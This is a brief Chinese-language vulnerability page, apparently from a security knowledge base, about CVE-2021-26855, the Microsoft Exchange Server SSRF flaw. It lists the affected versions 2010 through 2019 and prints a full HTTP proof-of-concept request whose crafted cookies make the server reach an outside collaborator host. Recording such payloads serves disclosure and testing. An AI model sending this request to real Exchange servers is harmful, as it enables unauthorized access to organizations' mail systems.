CVE-2021-26855 - Exchange Server SSRF漏洞

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漏洞簡介

Exchange服務器端請求偽造（SSRF）漏洞，利用此漏洞的攻擊者能夠發送任意HTTP請求並通過Exchange Server進行身份驗證。


影響範圍

Microsoft Exchange Server: 2010

Microsoft Exchange Server: 2013

Microsoft Exchange Server: 2016

Microsoft Exchange Server: 2019


SSRF

GET /owa/auth/x.js HTTP/1.1
Host: 0.0.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Cookie: X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
Accept-Language: en
Connection: close

檔案:Ssrf.jpg

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